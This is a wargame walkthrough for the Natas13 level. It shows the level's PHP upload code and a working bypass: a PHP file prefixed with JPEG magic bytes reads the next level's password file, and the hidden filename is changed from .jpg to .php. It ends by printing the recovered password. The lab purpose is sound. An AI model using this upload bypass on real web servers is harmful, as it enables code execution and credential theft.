Natas13 - natas14

From JaxHax
Jump to navigation Jump to search

Level Goal

For security reasons, we now only accept image files!

Choose a JPEG to upload (max 1KB):
[Browse] [____________________________]
[Upload file]

                               <View sourcecode>


Decided to click the <View sourcecode> link which goes to It gave me the following code:

      <!-- This stuff in the header has nothing to do with the level -->
      <link rel="stylesheet" type="text/css" href="">
      <link rel="stylesheet" href="" />
      <link rel="stylesheet" href="" />
      <script src=""></script>
      <script src=""></script>
      <script src=></script>
      <script src=""></script>
      <script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script>
      <div id="content">
         For security reasons, we now only accept image files!<br/><br/>


function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];

    return $string;

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
} else {

         <form enctype="multipart/form-data" action="index.php" method="POST">
            <input type="hidden" name="MAX_FILE_SIZE" value="1000" />
            <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
            Choose a JPEG to upload (max 1KB):<br/>
            <input name="uploadedfile" type="file" /><br />
            <input type="submit" value="Upload File" />
<? } ?>
         <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

I also decided a view source was in order:

<form enctype="multipart/form-data" action="index.php" method="POST">
   <input name="MAX_FILE_SIZE" value="1000" type="hidden">
   <input name="filename" value="ccbfdphjyr.jpg" type="hidden">
   Choose a JPEG to upload (max 1KB):<br>
   <input name="uploadedfile" type="file"><br>
   <input value="Upload File" type="submit">

So the PHP code is:

  1. Taking the user's uploaded file,
  2. Makes a random directory for it,
  3. Makes sure it is under 1000 bytes,
  4. Checks if it is an image via exif_imagetype()
    1. If so, it throws an error,
    2. If not, then it moves it to that tmp path and provides the user a link to it.

The filename is actually randomly generate and is a hidden value in the form data. in this case "uttzs8u4ht.jpg"

This code actually has several flaws that can exploit:

  1. The filename is in the HTML and not checked server side, which means the user can tamper with the value before submitting it.
  2. The file is dropped in the web root which means the user can invoke the file.

This is actually enough that we could pop a shell on it if we wanted to. But that's overkill for what we need.

This is basically the same challenge as natas12 but with the exif_imagetype() check which needs to be bypassed. Luckly for us, this function is pretty poor for this job it is doing.

From the php man page on exif_imagetype():

exif_imagetype — Determine the type of an image
int exif_imagetype ( string $filename )

exif_imagetype() reads the first bytes of an image and checks its signature.

So, we read the first few bytes to determine if it is an image?!

So this function is just checking if the magic bytes of the header are there... The magic bytes for a jpg is "\xFF\xD8\xFF\xE0". So we just need to start our PHP script with those bytes ;-)

All we need is a php script that will dump /etc/natas_webpass/natas14. Pretty much like natas12

The following script should do:


But to make it we will use echo to generate it with those 4 bytes first:

$ echo -en "\xFF\xD8\xFF\xE0\n<?\n\treadfile('/etc/natas_webpass/natas14');\n?>\n" > natas13.php

Now we can set that as the upload file. Before we click the upload button, we will use Firebug to modify the extension on the hidden filename from .jpg to .php

Doing this we get this response:

For security reasons, we now only accept image files!

The file <upload/72wvtsdgci.php> has been uploaded
                              <View sourcecode>

Once clicked we get our password:

[Four binary bytes here] Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1